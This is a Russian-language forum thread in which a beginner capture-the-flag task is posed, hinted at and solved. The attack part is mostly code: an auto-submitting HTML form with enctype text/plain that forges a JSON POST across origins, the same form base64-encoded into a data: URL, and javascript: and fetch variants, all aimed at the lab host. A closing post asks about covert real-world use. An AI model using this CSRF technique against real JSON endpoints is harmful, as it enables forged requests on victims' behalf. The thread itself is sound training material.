Идея заданий родилась в закрытых разделах, но похоже и в паблике есть к этому некоторый интерес. Правила понятные, механизм отладили, можно пускать это дело на самотек. Хотя остается проблема "первых двух ступенек", т.е. нужны простые задания, которые можно выполнить с начальными навыками на форуме. А вот их приготовить замеетно сложнее, чем хардкорные, как ни странно. На начальном этапе изюминки почти неразличимы на фоне общих трудностей самого процесса познания. Прокачавшись, трудно заставить себя постить простенькие вещи, вроде как не твой уровень. Пробую этот пробел заполнять, и вот очередная попытка: посмотрите аттач к заданию, в нем html страничка, которая пытается получить флаг, правда неудачно. Есть простые способы получить этот флаг, поэтому сам флаг не интересует и приниматься будут не все способы, а только некоторые. А именно: - нельзя использовать прокладки (дополнительные скрипты, сайты, прокси) - решение должно уместиться в строке браузера - вызов должен быть непосредственно на task.antichat.com:10013 - проверять решение буду в браузерах Firefox и Chrome Задание: Таргет: http://task.antichat.com:10013 Найти и прочитать флаг. Ответы присылайте в ПМ форума, интересует не сам флаг, а прохождение. Срок: две недели. Правила остаются прежними: В теме не флудим, подсказки разрешены только от ТС. Прошли: ii445888 Baskin-Robbins - нашел три способа решить задание! Hulkus - особенность в Firefox Go0o$E Прохождения: https://forum.antichat.ru/threads/482941/#post-4448252
Задание предназначено в первую очередь для начинающих и указатель на CORS нужен для сокращения времени поиска направления решения. Смотрим, там точно есть способ, которым решается задание, останется потыкать в реализацию.
ii445888 на подходе, практически зарешал, осталось оформить правильно. Ну и вот простой способ достать флаг, эмулируем запрос, который делается в приаттаченном файле Code: curl -H "Content-Type: application/json" -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013 Только этот результат нужно получить в браузере.
Baskin-Robbins нашел не просто решение таска, похоже он наковырял багу в Firefox. И следующий хинт: про адресную строку может быть не очень понятно, что решение должно уместиться в ней. Просто вспомните, браузеры поддерживают не только http:// протокол, но и множество других, в некоторых будет удобно набрать решение.
А вот интересно, проверяет ли сервер заголовок "Content-Type: application/json"? Смотрим: Code: curl -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013 Флаг отдается! Упс, заголовок не проверяется и мы можем использовать способ отправить запрос, когда CORS игнорируется.
"Простой запрос" может быть сделан через <form>, без каких-то специальных методов. Но формы не предназначены для отправки json-запросов. - заголовок "Content-Type: application/json" не разрешен - данные передаются в другом формате. Но с заголовками мы вроде разобрались. А данные как передать в json-формате? Или все-таки можно?
Наверное последнее, чем можно еще помочь: если трудно набрать решение в адресной строке - приму html код, который выведет флаг на странице.
До закрытия таска осталось немного времени. Тем, кто попал в таблицу решивших задание, просьба отписать в топике - законное право победителя, ну и просто для поднятия конуса .
Задание закрыто. Прохождение: Смотрим приаттаченный скрипт, в нем делается запрос на адрес http://task.antichat.com:10013 и ответ выводится на страницу. Собственно - это вполне рабочий вариант, когда файл помещен на сайт задания, для проверки можно открыть его по адресу http://task.antichat.com:10013/task13.html. Но когда выполняем его с другого хоста, в т.ч. и с localhost, браузер блочит ответ, если посмотреть в девелоперской панели: Code: Запрос из постороннего источника заблокирован: Политика одного источника запрещает чтение удаленного ресурса на http://task.antichat.com:10013/. (Причина: отсутствует заголовок CORS «Access-Control-Allow-Origin»). Картинка в задании говорит, что самое время вспомнить про CORS, или почитать типа https://learn.javascript.ru/fetch-crossorigin. Начинаем исследовать, curl равнодушен к SOP, поэтому потыкаем таргет, эмулируя запрос из файла задания: Code: curl -iH "Content-Type: application/json" -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013 флаг получен, цель понятна, нужно выполнить запрос в браузере. Но браузер будет упорно сопротивляться. Сервер с заданием не отдает заголовки для кросс-доменных запросов, облом, браузеры давно уже имеют защиту от таких попыток. Можно поискать какой-нибудь зиродейчик, можно попробовать залиться, но легко не будет, не простое задание получится. Поэтому ищем чего-то другое. Вот тут пора обратить внимание, что html-формы (как и curl) - "можно отправлять куда угодно", это древний механизм, созданный задолго до появления всяких сетевых политик и он их просто не замечает. Это хорошо, но есть пара проблем: - формы не умеют отправлять заголовок "Content-Type: application/json" - не умеют отправлять данные в формате json, а другие форматы сервер с заданием не принимает. Пробуем заточить под наши нужды. Проверяем, обязателен ли заголовок "Content-Type: application/json" Code: curl -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013 флаг отдается, значит заголовок не обязателен, ковыряем json-строку. Надо сформатировать отправку данных так, чтобы она стала валидной json-строкой, в которой будет кусок "operation":"GetFlag". Например: Code: <html> <body onload='document.forms[0].submit()'> <form method='POST' enctype='text/plain' action="http://task.antichat.com:10013"> <input type="hidden" name='{"operation":"GetFlag","(.)(.)":"' value='"}'> </form> </body> </html> На сервер уйдет пакет Code: POST / HTTP/1.1 Host: task.antichat.com:10013 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: text/plain Content-Length: 38 Connection: close {"operation":"GetFlag","(.)(.)":"="} Видим флаг. Теперь по поводу решения в адресной строке браузера - вообще не проблема, просто штатное использование протокола data:URL data:text/html, и дальше наш html-текст копипастом. Часто используют base64 кодирование берем Code: <body onload='document.forms[0].submit()'> <form method='POST' enctype='text/plain' action="http://task.antichat.com:10013"> <input type="hidden" name='{"operation":"GetFlag","(.)(.)":"' value='"}'> </form> </body> енкодим в base64 Code: PGJvZHkgb25sb2FkPSdkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKSc+DQogICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSd0ZXh0L3BsYWluJyBhY3Rpb249Imh0dHA6Ly90YXNrLmFudGljaGF0LmNvbToxMDAxMyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9J3sib3BlcmF0aW9uIjoiR2V0RmxhZyIsIiguKSguKSI6IicgdmFsdWU9JyJ9Jz4NCiAgICA8L2Zvcm0+DQo8L2JvZHk+DQo= знаки равенства в конце base64-строки можно отбросить Code: data:text/html;base64,PGJvZHkgb25sb2FkPSdkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKSc+DQogICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSd0ZXh0L3BsYWluJyBhY3Rpb249Imh0dHA6Ly90YXNrLmFudGljaGF0LmNvbToxMDAxMyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9J3sib3BlcmF0aW9uIjoiR2V0RmxhZyIsIiguKSguKSI6IicgdmFsdWU9JyJ9Jz4NCiAgICA8L2Zvcm0+DQo8L2JvZHk+DQo Вставляем в адресную строку - видим флаг. Прохождения участников: Spoiler: Прохождения Spoiler: Прохождения [/quote]
Вариант для Chrome. Открываем task.antichat.com:10013 в url вписываем: Code: javascript:data = {'operation': 'GetFlag'};fetch('http://task.antichat.com:10013', {method: 'POST',body: JSON.stringify(data),}).then(r=>r.text()).then(d=>alert(d)); К слову о вкладке network в firefox. Подобное поведение было замечено не на всех Gecko браузерах, такое же поведение присутсвовало в waterfox, но не было замечено в comodo icedragon и Pale Moon. Также подобное можно увидеть на ныне заброшеном проекте orbitum(Blink), где в отличии от огнелиса я наблюдал 100% вывод. Это наводит на мысль, что возможно эта фича присутсвовала и в старых версиях хрома. Ну и раз затронул тему "маленьких" браузеров отмечу, что при запросе из data:// через fetch или XMLHttpRequest в большинстве браузеров Origin будет null, но браузер SeaMonkey унаследует его из текущей вкладки. Поэтому решение таска возможно схожим с javascript:... образом для chrome, но @dooble его бы не засчитал: Code: data:text/html,<script>data = {'operation': 'GetFlag'};var url = 'http://task.antichat.com:10013';var xhr = new XMLHttpRequest;xhr.open('POST',url,false);xhr.send(JSON.stringify(data));alert(xhr.responseText);</script>
А в боевых условиях как это можно использовать? Я искал способ который позволял бы сделать это скрытно. В старых версиях хрома CORS можно было обойти через audio и video